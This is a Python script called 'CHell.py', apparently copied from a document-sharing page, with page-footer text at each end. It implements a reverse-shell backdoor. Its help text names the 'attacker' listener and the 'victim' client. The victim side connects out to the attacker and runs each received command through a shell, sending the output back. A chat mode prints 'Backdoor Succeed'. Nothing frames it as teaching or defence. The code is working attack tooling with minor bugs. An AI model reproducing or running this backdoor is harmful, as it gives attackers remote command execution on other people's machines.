You are on page 1of 7

from getopt import getopt

import sys

import subprocess

import os

import socket

from threading import Thread

IP = "192.168.100.13"

PORT = 0

LISTENER = True

CHAT = False

def help():

print("Usages:")

print("CHell.py -i <ip_address> -p <port_number> -l")

print("CHell.py -i <ip_address> -p <port_number>")

print("CHell.py -i <ip_address> -p <port_number> -l -c")

print("CHell.py -i <ip_address> -p <port_number> -c")

print()

print("Options:")

print("-i | --ip <ip_address>\tset IP address (e.g. 127.0.0.1)")

print("-p | --port <port_number>\tset port number to use/connect (between 1000-8000, e.g.


1234)")

print("-l | --listener\trun program as attacker")

print("-c | --chat\tset program to chatting mode")

print()

print("Examples:")

print("Script to run as attacker on command program with 127.0.0.1 port 1234:")

print("\tCHell.py -i 127.0.0.1 -p 1234 -l")

print("Script to run as victim on command program to target 127.0.0.1 port 1234:")


print("\tCHell.py -i 127.0.0.1 -p 1234")

print("Script to run as attacker on chatting program with 127.0.0.1 port 1234:")

print("\tCHell.py -i 127.0.0.1 -p 1234 -l -c")

print("Script to run as victim on chatting program to target 127.0.0.1 port 1234:")

print("\tCHell.py -i 127.0.0.1 -p 1234 -c")

def validate_ip(ip):

try:

socket.inet_pton(socket.AF_INET, ip)

return True

except:

return False

def a_send_chat(c):

while True:

try:

msg = input()

if msg == 'exit':

print("Exit program.")

c.close()

print("Connection closed.")

break

elif msg != b'':

c.send(msg.encode())

except:

break

def a_recv_chat(c):

while True:

try:
res = c.recv(2048)

if res != b'':

print("Recieved message: " + res.decode())

print("Backdoor Succeed")

except:

break

def a_command(c):

while True:

try:

path = c.recv(2048).decode()

cmd = input(path+">")

if cmd == "exit":

c.close()

print("Connection closed.")

break

elif cmd == "":

continue

c.send(cmd.encode())

if cmd[:2] == "cd":

continue

else:

res = c.recv(2048)

if res != b'':

print(res.decode())

except:

break

def v_send_chat(c):

while True:

try:
msg = input()

if msg == 'exit':

c.close()

print("Exit program.")

print("Connection closed.")

break

elif msg != b'':

c.send(msg.encode())

except:

break

def v_recv_chat(c):

while True:

try:

res = c.recv(2048)

if res != b'':

print("Received message: " + res.decode())

print("-------------------------")

except:

break

def v_exec(c):

while True:

try:

path = os.getcwd()

c.send(path.encode())

cmd = c.recv(2048).decode()

if cmd[:2] == "cd":

try:

os.chdir(cmd[3:])
except:

c.send("Invalid Directory".decode())

else:

process = subprocess.Popen(

args=cmd, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE,


shell=True)

res, err = process.communicate()

if err != b'':

c.send(err)

elif res != b'':

c.send(res)

elif res == b'':

c.send("Command executed".encode())

except:

break

def run():

if LISTENER:

asocket = socket.socket()

asocket.bind((IP, PORT))

asocket.listen(1)

print(f"Running on {IP}:{PORT}")

c, addr = asocket.accept()

print(f"Connected with {addr[0]}:{addr[1]}")

if CHAT:

print("A connection has been opened...")

print("Start a chat...")

sthread = Thread(target=a_send_chat, args=(c,))

rthread = Thread(target=a_recv_chat, args=(c,))

sthread.start()
rthread.start()

sthread.join()

rthread.join()

else:

a_command(c)

else:

vsocket = socket.socket()

vsocket.connect((IP, PORT))

if CHAT:

print(f"Connected with target {IP}:{PORT}")

print("Start a chat...")

sthread = Thread(target=v_send_chat, args=(vsocket,))

rthread = Thread(target=v_recv_chat, args=(vsocket,))

sthread.start()

rthread.start()

sthread.join()

rthread.join()

else:

v_exec(vsocket)

def main():

h = False

global IP, PORT, LISTENER, CHAT

opts, _ = getopt(sys.argv[1:], "i:p:lch", [

"ip=", "port=", "listener", "chat", "help"])

for key, value in opts:

if key in ["-h", "--help"]:


h = True

break

elif key in ["-i", "--ip"]:

if validate_ip(value):

IP = value

else:

print("Please provide valid IP Address!")

break

elif key in ["-p", "--port"]:

if int(value) < 1000 or int(value) > 8000:

print("Please provide valid port number [1000-8000]")

break

else:

PORT = int(value)

elif key in ["-l", "--listen"]:

LISTENER = True

elif key in ["-c", "--chat"]:

CHAT = True

if h:

help()

else:

run()

if __name__ == "__main__":

main()

You might also like